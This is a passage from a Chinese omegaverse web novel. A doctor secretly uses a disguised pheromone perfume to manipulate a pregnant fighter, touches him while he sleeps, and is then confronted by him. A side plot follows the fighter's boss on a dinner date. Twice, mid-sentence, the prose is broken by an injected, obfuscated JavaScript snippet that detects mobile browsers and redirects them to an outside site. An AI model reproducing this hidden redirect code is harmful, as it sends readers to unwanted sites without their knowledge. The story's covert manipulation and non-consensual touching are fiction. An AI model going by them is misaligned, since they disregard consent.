他口中含糊有声:“唔……不……嗯……”眉头紧缩,神情无助,似乎面对着什么难以抗拒的情境。宁祁不禁在沙发边蹲下来,静悄悄地打量洛城,仔细地分析他的每一个神情:他在做什么梦?是噩梦吗……?好像不大对,噩梦应当是戒备的、警惕的,而不是现在这个——欲罢不能的样子。 忽然,洛城倒吸一口凉气,睁开了眼。看见宁祁近在咫尺,他先是怔愣了两秒,随即疾喘着将对方一巴掌挥开,仓促地翻下沙发,挂着毯子如无头苍蝇般四处寻找:“你买了什么花,这是什么花的香味!”他暴怒地低吼着,像一只领地被入侵的狮子,在屋里到处逡巡:“你放在哪里,花在哪里?!” ……花? 茫然中,宁祁下意识回想一番,抬手指向餐边柜上那盆绿油油的细长叶子植物:“你说的是那个吗?我昨天买的兰花,青山玉泉。” 话音未落,洛城立即气势汹汹地走到餐边柜前头,却在看见那盆清雅秀颀植物的瞬间露出了怔忡的表情:“……就是它?” 他难以置信地说。如此深幽、如此沁人的香味居然是这么小小的一串淡绿色花穗散发出来的。情不自禁地低下头,深深嗅闻一番,那香味仿佛触动了什么深处的记忆,洛城瞬间清醒过来,咬牙切齿地变了脸。他端起那盆兰花急匆匆走向玄关,打开大门丢到电梯厅里,随即用力地、避之不及地关上了门。 望着他逃进卧室的仓皇背影,宁祁缓慢地眨眨眼,随即发出“呵”一声轻笑,恍然大悟地勾起了唇。 看来,那个Alpha的信息素是兰花香味。 38.信息素香水 第二天下班后,宁祁罕见地没有回家。他给洛城发了条信息:“今天临产的病人太多,我加会儿班,你自己随便煮一点吃。” 洛城的答复好似很随意:“哦。” 见他回得如此迅速而简短,宁祁忽然觉得不妙,立即追加一句:“不准吃太多米饭。” “行了行了我知道了!”隔着手机都能感觉到他的气急败坏。这一刻,宁祁望着手机屏幕,胸中莫名泛起了一股隐秘的快意——仿佛一头暴躁的猛虎被自己套上了锁链,即将发怒时却被自己硬生生遏制住,只得不耐烦地甩甩尾巴表达不满。这种类似于极限运动一般的快乐让他忍不住伸手用力抚了抚屏幕,缓慢地、巨细靡遗地,仿佛在抚摸宠物的脸庞。 完全驯服之后,会不会更有成就感呢? 缓缓收起手机,宁祁笑了笑,没有去车库开车,反而走到医院侧门的路旁打了辆的士,前往申城的旧城区。 每一座城市都会有那么几片混乱而繁杂的区域,房屋挤挤挨挨,人声此起彼伏,电线凌乱而随意地穿行于建筑物的间隙之中,将仅有的一线天空割裂成数段,这曾是宁祁再熟悉不过的景象。 刚工作时,他就租住在这一区域。每天晚上下了班,他就像只精疲力尽的老鼠般沿着街道溜回来,蜷缩在阴暗湿冷的房间里。如今数年过去,这个地方完全没有发生变化,依旧是以前的模样——他甚至认出了好几家店铺的老板,熟悉的面庞和熟悉的叫卖声,只不过脸上的皱纹多了几条。 熟稔地在迷宫一般的街巷中穿行,他转过几个弯,来到了一家小小的门脸前。入口处挂着二片脏粉色的布帘,上头印着“成人用品店”五个大字,帘子的间隙中透出暧昧的昏暗灯光。低头走进去,老板懒洋洋地躺在柜台后头,透明的玻璃柜里摆着琳琅满目的露骨器具,各种形状、各种款式,但宁祁想要的不是这些。 “有信息素香水吗?”他开门见山地问。 老板立即从手机中抬起眼,耷拉的双眼浑浊但警惕,老练地上下打量他:“你这小白脸,瞎说什么呢,没有!” 宁祁平静地睨他一眼,在柜台前站着没动:“冯老板,别装了,我在这儿住了六年,你做的什么生意我还不清楚吗?前几年对面街服装店那起纠纷,如果受害人一口咬定跟那个Alpha不是情侣关系,你以为你逃得掉?” 闻言,冯老板面色一沉,终于磨磨蹭蹭地站了起来,不甘不愿道:“……信息素香水,要什么香型的啊,基础款还是普通款?” “要兰花香型,加强款。再要一个同款香味的常规护手霜。”宁祁目的明确,不假思索地报出了自己的需求。冯老板诧异地睨他一眼,似乎不敢相信这样文质彬彬的一个人,居然一来就要加强款:“你考虑清楚哦!加强款的信息素浓度已经有点儿高了,对方很容易察觉的。” “没事,”宁祁一副胜券在握的笃定神情,“那人处于特殊时期,感觉比较迟钝。用基础款我还怕没反应呢。” “……那好吧。”回过身,冯老板慢吞吞地走到柜台角落,打开墙上的绛红色木门,一闪身钻了进去。不多时,他攥着一个棕色的磨砂玻璃小瓶和一个白色小圆盒走了出来。到了跟前,他伸手越过柜台,直接把东西塞进了宁祁的兜里:“这东西不需要用太多,三滴就够。一滴在后颈,两滴在左右手腕,知道吗?” “知道。”从皮夹里抽出十三张粉色钞票递过去,宁祁没再吭声,一低头掀起门帘,高挑身影迅速没入了申城冷峭的秋夜里。 ------------------ 回到家后,宁祁就将那个白色小盒和小精油瓶堂而皇之地放在卫生间的洗漱架上,就在牙膏的旁边。洛城刷牙时还拿起来看了一下,问:“你这是什么玩意儿啊,精油吗?” 彼时宁祁在隔壁房间跑步,闻声回答一句:“哦,那是鼠尾草精油,据说可以保养卵巢。我想着你生产之后兴许用得上,就顺手买了。” 洛城果然嫌弃地:“咦惹——”一声,飞快地把它放回原位,骂道:“我保养卵巢干什么!反正以后也用不到了。” 将跑步机摁了暂停,宁祁微笑一下,抬手擦去额上的热汗,心道:以后的事谁也说不准,还是别这么斩钉截铁的好。 十一月十二日那天是星期天,小护士苏林菲休班。中午起床后她就跟洛城发信息闲聊,问他昨夜双十一电商大促销,有没有买宝宝要用的东西呀?比如尿片、奶粉什么的,都有好价哦!可以多囤一些。 洛城耷拉着眼皮,一脸困倦地躺在沙发上,头发乱七八糟,肚子鼓鼓的像塞了个小枕头:“啊?我不知道买什么品牌啊……算了,等生出来再说吧。” 苏林菲不禁嫌弃地骂他:“你这也太不上心了吧!” 洛城不以为然地打个呵欠,没再回复,眼睛一闭睡了过去。 最近的他突然间变得极易困倦,跑步也不想跑了,跳绳也跳不动了,胃胀反酸,尾骨疼痛,全身上下哪儿哪儿都不舒服。宁祁好像说过,28周是个坎,多多少少都得难受一两个星期,到了30周才好一些。于是洛城掰着手指头:两周、四周、再五周,宝宝的预产期是2月7日……还得再撑两个多月啊! 他忍不住在梦里叹了口气。 迷迷糊糊地睡到下午三点,洛城醒过来,只觉饥肠辘辘。头昏眼花地从零食柜里摸出一包小小的苏打饼干,用门牙一点点磕着吃,虽然嘴馋,但宁祁的话他还是听进去了,始终不敢吃太多——如今他已经重了七公斤,宁祁说控制得一般。最后两月还有一□□涨期,之后要更严格才行。 捏着小小的饼干,洛城不禁憋屈地瘪起嘴,欲哭无泪:还要怎么严格啊!我天天饿得心慌气短,就差晕过去了!再这么饿下去,哪天真的晕在外头、上了新闻,我就跟你们这些冷血的混账同归于尽! 不一会儿,一包饼干就吃光了。洛城自然是没饱,但也不敢再吃,只能用四个钟后的晚饭做钓饵,生无可恋地去跑步机上“散步”。最近天黑得早,宁祁一般到路灯亮了才回来,再花上半个小时切炒煮蒸,吃上饭一般是七点半了。想着杂粮饭的淡淡甘甜,肉的软嫩咸香,青菜的爽脆……洛城正咽口水呢,突然听见门外“咔哒”一声,这人居然早归! 他惊异地跳下跑步机,走到卧室门口探出脑袋,望向头发被风吹乱的宁祁:“你今天回这么早啊。” 对方笑着抬起头,镜片反射出窗外的光:“今天是我生日啊!想着出去吃一餐好的,就回早了些。” “你生日啊!”洛城眼睛一瞪,颇为高兴,仿佛看到了今夜琳琅满目的菜色:“那敢情好——我们去哪里吃?” 这人也不问人家是几岁生日,全部注意力都在吃喝上,宁祁倒也喜闻乐见,笑着卖关子道:“你就放心跟我走吧!绝对让你大饱口福,吃得饱、又吃得好。” 被这突如其来的幸福砸得晕陶陶的,洛城大笑两声,立即拿上干净衣裤去冲澡。沐浴在热水里时,他感觉肚中那个小东西也快乐地动了动,肚皮被撑出一个明显的形状,似乎是蹬了一下腿儿。洛城不禁宠溺地笑起来,轻声道:“再等等,等会儿咱们就能吃大餐啦!” 穿上去年买的旧毛衣,原本宽松的款式现在紧紧地绷在身上,让凸起的肚子无处遁形。不禁朝镜中望去,洛城发现自己这会儿就像那些中年发福的Alpha似的,挺着个不大不小的“啤酒肚”,胸部平白多了一层脂肪,面部也微微浮肿。帅气的黑骏马变成了笨重的大肥马,他苦笑一下,找出口罩戴到脸上,只露出那双依旧无改的深邃眼眸,不屑而坚定。 反正都能恢复的。等宝宝生出来,他练三个月,照样是那个所向披靡的Iron Fist。 满不在乎地穿上外套走到客厅,洛城抬头一看,赫然发现宁祁居然穿着全套西装、修身大衣,甚至用发蜡抓了个发型!他不禁拧起眉,狐疑地道:“你穿西装干嘛?” 宁祁若无其事地朝他笑笑:“那家餐厅有着装要求,所以……” “着装要求?”洛城的眉心拧得更紧了,忿忿神情仿若一头即将发怒的猛虎:“我现在这个肚子,你觉得我穿得进西装吗?……宁祁,你是不是故意搞我?” 赶忙摇头否认,宁祁赔着笑道:“怎么会呢?我既然挑了这个餐厅,就肯定把所有事情都考虑到了——我有一件廓形大衣,很宽松,绝对能把你的肚子都遮盖住。”说着,他从沙发上拿起一件驼色大衣,肩型平直,衣摆宽阔,看上去似乎可行。洛城接过来,将信将疑地穿上,肩宽和衣长居然正正合适!再将腹部的扣子扣上2颗,从侧面看虽然稍厚,但不知情的人也只会以为这是衣服款式的效果,不会怀疑到怀孕上去。 挑剔地在镜前反复打量半晌,洛城终于轻哼一声,放了他一码:“……这还差不多。” 松一口气,宁祁的双手插在大衣的兜里,神情似乎有些迫切:“那我们走吧!” “等会儿,”洛城却又开始撇嘴,“我弯不下腰,穿不上皮鞋。” 宁祁一怔,随即笑出声来:“没事,我帮你穿!”他走到玄关处蹲下,将换鞋凳挪到身前,拍拍凳子,示意洛城将脚放上来。见状,洛城也不客气,拿着袜子走过去,右脚踏上凳面:“麻烦你了。” 这是宁祁第一次观察洛城的脚。 粗糙、骨感、坚硬、有力,青色血管盘亘在脚背的骨骼上,延伸向脚趾。趾甲宽阔而方正,略有些长,似乎有一阵子没剪了。宁祁接过袜子,不动声色地为他穿上:“……等吃饭回来,我给你剪一下趾甲。” 洛城心不在焉道:“唔,好。”抬脚之后身体歪斜,他下意识伸手扶住了宁祁的肩,那副坦然的模样就像主人对待自己的奴仆,享受得心安理得。但从宁祁的视角看去,却不是这么回事——他首先看到的是一个隆起的肚子,两人贴得太近,以至于他闻到了一股淡淡的大麦茶气息。随后再向上看,才是洛城状况外的帅气脸庞。 那一刻,宁祁心底忽然涌上一股麻痒的兴奋:这个在八角笼中所向披靡的人,现在居然大腹便便、行动不便,甚至需要我帮他剪趾甲、穿鞋袜。忍不住又望向他隆起的肚子,宁祁深吸一口气,难以抑制地露出了一个细微的笑容:很好……再依赖我一点吧。不管你还是宝宝,我都能照顾得很好,好到让你再也不会想起其他人,包括那个alpha。他出现的唯一用处就是把你送到我身边,我会感激他的……但也仅止于此了。 想着,宁祁站起身,露出了胸有成竹的笑容:“好了,我们走吧。” ----------------- 深秋的晚上七点,闻人律开车来到某机关大门前,正要开进去时,被门卫拦住了。对方尽职尽责地问他:“你好,你来办什么事?” 闻人律降下窗户:“我接朋友下班。” 门卫便拿来一本访客登记表让他填写:“把你朋友的名字和电话号码写上,还有你自己的信息。”闻人律睨一眼,伸手接过来,在表格里用漂亮的行楷写下“何砚青” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13660315|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三字。门卫见了,不禁“咦”一声,又仔细打量他两眼,随即露出个暧昧的笑容:“你是来找何小姐的啊。” 这略显冒犯的眼神让闻人律不禁拧了拧眉,把本子和笔递回去:“我现在可以进去了吗?” “啊,可以了。”伸缩门缓缓打开,闻人律关上窗户长驱直入,很快停在了办公大楼的大门前。此时夜色已深,但楼上一排排的窗户几乎都亮着灯,完全没有下班的样子,他抬头望一望,心里不禁升起淡淡的烦躁。 等了约莫半个钟头,一个纤细的身影终于娉娉婷婷地从大门里走出来。对方穿着朴素,上着白色贴身毛衣,下着墨绿色长绒裙,外头套一件抹茶绿的针织长外套,一直盖到细瘦的脚踝。望着她略显平凡的清丽脸庞,闻人律准确地叫出了她的名字:“何砚青。” “对,是我。”落落大方地同他招招手,何砚青拉开副驾驶的门坐进来,笑笑地扭头望他:“看来我爸说的没错,你的长相确实出众。” 闻人律礼貌地一勾嘴唇,但眨眼间又变作平静:“皮囊而已。”他将车开出机关大院,路过门卫室时,何砚青同门卫大哥打了个招呼:“周大哥,我下班啦,拜拜。” “哎,好,约会愉快啊~” 他们的对话很熟稔,看来这位何小姐在机关中人缘不错。 车子慢慢汇入夜晚的车流。安静的氛围之中,闻人律抿着嘴角,总感觉有一丝不适。何砚青似乎不是个健谈的人,加上又是Omega,让对方主动似乎不大礼貌……无法,他只得发起话题:“你们都这么晚下班吗?” 有人起了头,何小姐也乐意配合,笑笑地答:“也不是。主要是最近有两个检查,所以才会忙到现在,以前都是五点半准时下班的。” “原来如此。” “你也是刚下班吗?” “是。最近公司的事情比较多,有时各部门开会,就会拖延一阵子。” “我看新闻,好像你们旗下那个伍沛霖,又谈成一场比赛了?” “是。不过这个对手的名次不高,只排第九名。伍沛霖是十一名,没什么话题性。” 他们两人本来在微信上就不常聊天,也就父母问起时何砚青会来找他聊两句,说“我爸又催我俩见面了”。一个约会从八月拖到十一月,双方都知道是勉强,现在见了面自然也是不咸不淡的,只聊点儿无伤大雅的东西。 然而,这样生疏的氛围却正是闻人律想要的——以前跟他约会的人都太过热情,不论表现得多么克制,但终究隐藏不住眼里那股灼热,直把人看得心生烦躁。而这位何小姐家境优越,见多识广,并不把他的外貌当一回事,这让闻人律感到非常满意。 半个钟后,二人终于到达预定的餐厅。望着不远处招牌上闪烁的“Maxsim”一词,何砚青赞同地点了点头:“这家我吃过,菜品确实不错,鹅肝冻糕和烤蜗牛很好。”闻人律绅士地停好车,走到副驾驶为她开门:“那待会儿就把这两样点上。” 方才坐在车里还不明显,现在下了车并排往前走,两人身高上的差距就显现出来了。何砚青忍不住瞪大眼抬头望他,惊叹道:“闻人老板,你多高?” 闻人律答:“一米八八,刚睡醒的时候会量出一米九。” “那你比我高了二十八厘米!”何砚青低呼一声,吃惊地缓缓摇头:“人与人之间的差距竟然如此悬殊……”这话倒是把闻人律逗得勾了一下唇:“我一不打篮球,二不当模特,长这么高也没什么用处。” 闲聊间,二人走到了餐厅门前。闻人律正准备帮她拉开门,这位千金小姐却“啊”一声低呼,叫道:“我工作手机放车上了!你先进去坐吧,我过去拿手机……把车钥匙给我!” “好。”拿出车钥匙递给她,纤细的背影立刻小跑着消失在停车场方向。深秋的夜晚寒风料峭,吹得人有些头皮发紧,但闻人律没打算听何砚青的话,依旧姿态挺拔地立在门外。这时,餐厅大门打开了,一个人从里面走出来,站到了他的上风处。那瞬间,闻人律嗅到了一股细微的Alpha信息素味……兰花香型,很淡,跟自己的有些相像。 不禁拧眉望去,对方是一个高挑白净的Alpha,一头三七分短发,桃花眼脉脉含情,戴着精致的无框眼镜,身穿黑色大衣,看上去文质彬彬的,显然受过良好的教育——可他怎么任由信息素泄露出来呢?看他清醒的表情,也不像是处于易感期。这种失礼的行为,可不像是一个上等的Alpha。 这时,对方察觉到他的视线,转脸看了过来——那一刻,闻人律注意到他很明显地震动了一下,面露惊艳。睁大眼注视了足足两秒,他才露出一个礼貌的笑容,朝自己点点头。心中不禁又泛起烦躁的感觉,闻人律没有回应,只无动于衷地撇开脸,望向不远处的停车场。 过了十来秒,他看见何砚青纤细的身影穿过车阵,小跑着朝这边奔来。与此同时,身后的玻璃门又发出了“吱呀”的响动,里头骂骂咧咧地传出一个再熟悉不过的人声:“操……宁祁我告诉你,以后别带我来吃这种虚头巴脑的玩意儿!难吃不说,还搞得我胃胀气,在卫生间全吐出来了!……有这功夫,你还不如请我吃一顿牛肉火锅呢!” 这一刻,闻人律也顾不上何砚青了,惊愕地转过头,难以置信地望向对方:“……你怎么在这里?” ——来人身材高大,一头天然卷的半长头发,蜜色皮肤,浓墨重彩仿若混血儿的眉眼,以及那副理直气壮的不耐烦表情,不是洛城是谁! 39.夜袭 猝不及防地看见他,洛城明显有些尴尬——他脚下甚至后退了半步,视线慌乱地飘向一旁,还怕冷似的拢了拢大衣:“这么巧啊,你也来吃饭?” 这异样的小动作把闻人律的视线吸引到了他的衣服上去。这种欧风廓形大衣明显不是洛城的穿衣风格,但偏偏尺寸如此合适……闻人律不禁狐疑地望向他身旁那个戴着无框眼镜的高挑Alpha,拧了拧眉心。 对方反倒又冲他笑一下,随即问询地望向洛城:“阿城,你们认识?” “嗯。”洛城不情不愿地抓抓后脑勺,视线躲闪,抬手敷衍一指:“这是我老板,登峰的总裁。这位呢——”犹豫地刚抬起眼与闻人律的视线对上,立即被他眼中的审视之意刺得又缩了回去,洛城的声音变得愈发含糊:“这是我……我老婆的主治大夫,交大附院产科的副主任,宁医生。” 话音刚落,宁祁立即主动地伸出手,笑着同闻人律打招呼:“你好!我叫宁祁。先生怎么称呼?” 闻人律面无表情地瞥他一眼,抬手短促一握,并不答话。他沉着脸望向坐立不安的洛城,正要问他什么,此时何砚青跑到了身旁,冲得太急,还气喘吁吁地扶了一下他的胳膊:“怎么了,这两位是你朋友……啊!” 话音未落,纤细的Omega便看清了洛城的脸,两眼不由错愕地一呆,口中发出短促的音节。洛城也不禁低头望向她——眼睛圆圆如同一只小松鼠似的Omega,娇小可人,居然也不犯怵,就那么直勾勾地上下打量自己。不禁一挑眉,洛城友好地朝她笑了一笑。 难得碰见这个工作狂老板带妹吃饭,他瞬间放松许多,声音里也透出一丝戏谑:“原来律总今天是出来约会啊?” 闻人律拧着眉,不耐烦道:“只是朋友之间吃个饭。”说着,他轻啧一声,抬起下巴,视线巨细靡遗地将洛城上下扫描过一遍,脸上又露出了以往那种苛责的神情:“你怎么回事,两个月不去训练馆,就胖成这样了?你看你的脸——” 下意识抬手摸摸下巴,洛城知道自己浮肿了一些,但是不能说出实情,只得含糊道:“休赛期不都这样……我就胖着玩玩。” “胖着玩玩?”闻人律音调陡然抬高了两度,眼中透出怒气:“你知不知道伍沛霖又谈成一场比赛了,时间就在二月初?你看看人家的比赛频率,再想想你自己!……你真的一点儿都不担心吗?” “啧!”被他说得心烦意乱,洛城双眸一瞪,朝他怒目而视:“担心有什么用!我现在就是要休假,就是不能打比赛,你还要我担心这个、担心那个,这不是折磨自己吗?!老子休息就心安理得的休息,怎么,你看不惯啊?!……看不惯当初别批我假啊,别阻止我去腾云啊!” 见这二人剑拔弩张的,宁祁和何砚青不约而同地把他们拉开一步,忙不迭劝道:“阿城,你怎么跟老板这样说话?人家也是担心你……” “咱们在餐厅门口呢,人来人往的,吵到别人怎么办?”说着,何砚青朝洛城歉意一笑,挥挥手:“不好意思啊!”赶紧推着闻人律走进了餐厅里。洛城随即被宁祁拉向停车场。一路上他还骂骂咧咧呢:“比赛比赛比赛!天天就知道催老子比赛……哪天我被打死在八角笼里,他就高兴了!” 打开车门坐进车里,系好安全带,宁祁见洛城心浮气躁的,锁扣都找不到,便笑着靠过去,帮他把安全带扣好:“你别这样说你老板,毕竟你是国内最有希望拿到UFC金腰带的人,他也是为了你好……” “是为了他自己多赚钱吧!”鄙夷地大骂一声,洛城双臂环胸,气得眉毛都竖了起来:“还说我胖……难道我不想瘦吗!操,要不要对一个孕夫这么苛刻啊,真烦人!” 笑笑地睨他一眼,宁祁将车缓缓开出停车场,心里却是轻轻地“啧”了一声。 本打算用这次法式晚餐营造一个亲昵的氛围,拉近彼此的距离,再为今晚的行动做一些铺垫。却不料洛城吃不惯西餐,而且还倒霉地遇上熟人,吵了一架!心里略有些不悦,宁祁叹口气,转念想到闻人律那张俊美的脸以及量身定制的笔挺西装,便状若无意地问:“你这老板长得很惹眼啊!怎么从没见他在媒体上露面?……这张脸不是能吸一大波粉么。” “谁知道?”洛城依旧在气头上,撇脸瞪着窗外的流光,“这人规矩多得要死,可能不想别人议论他吧。” “是么?”想起刚才闻人律身旁长相平凡的何砚青,他又不禁好奇:“一般这种帅气又多金的大老板,不都跟明星约会的嘛,他怎么找一个这么一般的?” “一般?”洛城漫不经心地拧拧眉,“没有吧?” “这还不一般?”宁祁意味深长地笑起来,耐心地向他科普:“你没注意到她的打扮吗,全身上下都是开架的牌子,一件名牌的没有。她甚至连妆都没怎么化,只涂了一点儿唇釉。” “是吗?”洛城确实没注意到这些,他只看见了何砚青落落大方的眼神。那是一种见惯了风花雪月的淡然神情,不谄媚也不趾高气昂,甚至刻意收敛了锋芒:“……我倒觉得她挺有气质的。” 宁祁不以为然地笑笑,摇了摇头。 ---------------------- 虽然对闻人律了解得不多,但通过之前的几次聊天,何砚青感觉他肯定是个彬彬有礼、进退有度的Alpha——然而这样的印象在经历过刚才的突发事件后被打破了。 上餐的速度稍微有点儿慢。 餐厅中绿植幽雅,音乐优美,四周只有刀叉与餐盘碰撞的细微声音。最后一道奶油龙虾意面端上来时,何砚青已是半饱。她克制地夹了些意面放到自己的盘子里,顺道也询问一下闻人律:“这个意面不错的,你尝尝吗?” “不必了,我海鲜过敏。”闻人律平静地说。 “你过敏啊?”何砚青颇感意外:“那我这道菜点得不好,应该点那个火腿。” “没什么不好的,你爱吃就点,我吃其他的就行。”这淡然而随性的模样,让人完全无法与方才那个咄咄逼人的Alpha联系起来,何砚青不禁愈发好奇了。她放下刀叉,终于忍不住问:“刚才那个人是洛城吧?……他是上次比赛被打出阴影了吗,怎么要请假休息?” 果然,一提到洛城,闻人律的神情立即出现了波动:“他老婆怀孕了,所以请了一年的陪产假。” “……这样?”本以为能听到什么令人唏嘘的内幕消息,却不料原因如此简单。何砚青回想着刚才洛城那张微微浮肿的脸,再联想到办公室里某些同事怀孕后的面容变化,脑子里不禁出现了一个荒诞的想法:他现在这张脸倒是孕相十足。是不是老婆吃,他也跟着吃,所以才长胖了? 想着,她微微一笑,宽慰道:“娶妻生子是人生喜事,他心里高兴,胖了也是可以理解的。” “呵,什么喜事,他那老婆都不是明媒正娶的。”也许因为何砚青不是业内人士,两人之间也没有利益冲突,闻人律冷哼一声,不禁说出了心底的鄙夷:“不过是喝醉之后一夜情的产物而已,还搞这么大阵仗,连比赛都不接了。亏我还跟朋友打包票说他能拿金腰带……懒散成这样,回来后还有没有状态都是个问题!” 他的言辞隐隐激烈,眉心紧蹙着,一副恨铁不成钢的表情。何砚青看得惊异,双眼微瞪,心想:这是今夜他第二次因为洛城生气。半晌不禁掩着嘴笑出来:“我以为你们这些做老板的,对待旗下选手都是公事公办的态度呢。没想到你对他这么关心……当你的员工肯定很幸福吧。” 闻人律被说得一脸错愕,嘴角都忍不住抽了抽,声音像从齿缝里挤出来的:“你觉得刚才洛城像很幸福的样子吗?” 何砚青不禁“噗”一声笑了出来。 --------------------- 满怀期待的晚餐吃成这个样子,洛城气鼓鼓地带着一个干瘪的胃回了家,一进门就跑去蒸玉米和紫薯。宁祁这个寿星一句祝福没得到,倒还要给他赔笑脸:“你不喜欢吃西餐,那过阵子我带你去吃牛肉火锅,一餐不行,咱们吃两餐!” 洛城抬眼瞪他,恶狠狠地攥着玉米啃一口:“你说的啊!老子不把你吃破产,我就不姓洛!” 准备睡觉时,宁祁又笑眯眯地穿着睡衣摸了过来,幽灵似的打开门问他:“你不是说最近脚抽筋么,要不要我帮你揉揉?这样睡得好一些。”被洛城一抱枕砸过去:“老子差点儿就睡着了,你又不早说!” 宁祁头一偏躲过抱枕,桃花眼笑弯弯的,显然还不想放弃:“反正现在醒着也是醒着,不如……” 洛城窝火地“啧”一声,大骂:“滚回去!老子要睡觉!” 宁祁只得闭上嘴,默默关门离去。 当天晚上,洛城又做了梦。 不同于近日来那种难以启齿的梦,今天他梦到了伍沛霖——也许是晚上碰到闻人律的缘故。那个人责备的目光像刺一样扎在自己的脑仁里,在梦中反复发问:你真的一点儿都不担心是吗?你不在乎吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13666723|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……重复的问题汇聚成下沉的漩涡,洛城感觉自己就像一颗不再坚硬的石头子儿,被一点点卷进去、研磨、倾轧碾碎了。 其实怎么可能不担心呢? 八月底那次比赛他就看得浑身冰凉了——虽然平心而论,伍沛霖的水平依旧比不上他,但日益拉近的差距还是让洛城于领先中惊出了一身的冷汗。那天宁祁说,伍沛霖好像打出自信了?你看他那个笑容,跟以前一板一眼的风格完全不一样。洛城的双手攥在一起,掌心潮乎乎的,双眼盯在电视屏幕上无法挪开:是啊,不一样了。 一个人的上升和衰落皆有气势,那是业内人一眼便能看出来的。伍沛霖的从容不迫和坚定自信都是上升的预兆,那么……那么,自己那日与奥康纳对战时的彷徨和心不在焉,在旁人眼中是否就是衰落的象征? 生平第一次心生怯懦,洛城在梦中踌躇着、苦笑着,忍不住用力点了点自己鼓胀的肚子:“看我为你付出了多大的代价!”他咬牙切齿地说,“你要是不健康、不聪明、不好看,那真是对不起我!” 若要讨论宝宝的资质,那个不明身份的alpha始终是绕不开的。对方留在洛城脑海中的印象只剩一个冰冷的声音和一双异常有力的手,一双足以将他摁在床上无法起身的手……不对,还有一股幽雅沁人的兰香。好像是叫青山玉泉……细长玉挺的叶子,淡青白玉的花朵,令洛城不由自主地想象,那个Alpha的样貌身形是否就是这样? 想着他的相貌,那股清冷而幽雅的香味似乎又从脚踝处缠了上来,就像那晚两人抵死的纠缠,如蛇一般难解难分。沁人心脾的香气之中,洛城感觉自己的身体又开始燥热。腹中泛起难以启齿的渴望,又麻又痒的,经过这段时间的反复熟悉,如今他已能迅速分辨——不是侵略,而是承受。身体的某处想要被充实,就像井底挖开的湿泥,注定要被水流慢慢浸注。 急促的呼吸中,洛城羞愤地抑制着这股渴望,但那股香气却仿佛越缠越紧了。它好像化出了实体的手,沿着自己的胸膛一路向上,逐渐来到脖颈和下巴处,像逗猫一般轻轻搔刮。不禁拧起眉,洛城惶然地想:不对,不是这样的……他更爱用嘴咬,而不是手。他的手是用来搂抱,搂得人快要窒息,亲吻也是如此。而不是这种轻佻的搔刮、逗弄。 洛城猛地睁开眼,一把抓住了自己锁骨上那只手。 黑暗中,房门开着,透进来的光映照出一个人熟悉的面部轮廓,是穿着睡衣的宁祁。他讪讪地笑着,手上散发出一股好闻的兰香味,虽然清淡,却已经足够明显。洛城像从噩梦中惊醒一般,满额细汗,惊魂未定地瞪着他,五指已不自觉地越攥越紧:“……你在干什么?!”他声音沙哑地质问。 宁祁被他攥得吃痛,脸上仓促的笑容变得有些勉强:“我听见你说梦话……怕你做噩梦,就进来看看。” “是吗?”洛城眯起眼,蜜色脸庞上虽然透着酡红,但那股杀气却同样汹涌:“你看就看,伸手做什么?” “我见你、出了汗……阿城,轻点!你攥疼我了。”终于撑不住了,宁祁吃痛地倒吸一口凉气,垮下肩膀低声求饶。洛城这才将信将疑地放开他,但一双虎目仍旧警惕,一眨不眨地冷盯着:“我只是有点儿热而已,不用你操心!” “……是吗。”不甘心地揉揉手腕,宁祁抿抿唇,抬起眼用一种仿若蛊惑的眼神,循循善诱道:“你是不是做梦了啊?孕夫在孕中期常常会做梦的,你不用藏着掖着,这种情况很正常。一般我们会建议Alpha好好抚慰自家妻子,在身体可以承受的范围内做一些亲密接触……阿城,这是很正常的需求,你不必觉得害臊。 “你听不懂我说的话吗?”被他一语戳破心思,洛城不禁恼羞成怒地跨下床,提起衣领将他一把摁在了墙上,就像年少时对付那些不自量力的小混混一样:“我说,我没有做梦,不用你操心——” 虽然大腹便便、Alpha激素减退,但他的身高和肌肉依旧不容小觑,轻而易举就将宁祁提了起来,摁在墙上无法动弹。那一刻,宁祁骚动的眼眸终于熄了下去,就像一盏蜡烛,在疾风中败下阵来:“好,好,我知道了,我不会再多管闲事……” 冷冷地松开手,洛城如警戒的雄狮般看着他落回地面,像鬣狗似的掩饰地轻咳两声,随即摆摆手,跌跌撞撞地走了出去。跟在他身后不疾不徐地踱到房门口,洛城靠着门框,直到见他跑进了主卧里,这才抓住门把手,在盯视中将门缓缓关上,又“咔哒”一声,打了反锁。 40.过年 对于自己变成Omega的事实,洛城一直没有什么实感。他觉得无非是掉点儿肌肉、损失点儿力量而已,七个月前那次热潮期只是一场意外,以后绝对不会再重演,肚子里这个宝宝再过俩月也可以卸货了。届时他的身体和生活都会恢复原样,他依旧是那个高大强壮、所向披靡的alpha,无人敢小觑。 ……然而现实与他想象的似乎不大相同。 这套Omega的生殖系统好像意味着许多,生育能力、继承权,或者其他的什么,一些能令alpha蠢蠢欲动的东西——这些东西他以前也曾理所应当地追逐过,就像猎人追逐猎物,他也曾自信满满地认为自己会永远处于“猎人”的位置上。但今夜的事像一个警钟忽然敲响,洛城忍不住在黑暗中眯起眼,只感觉一股恼意在心中缓缓升腾——他似乎被别人当成了猎物。 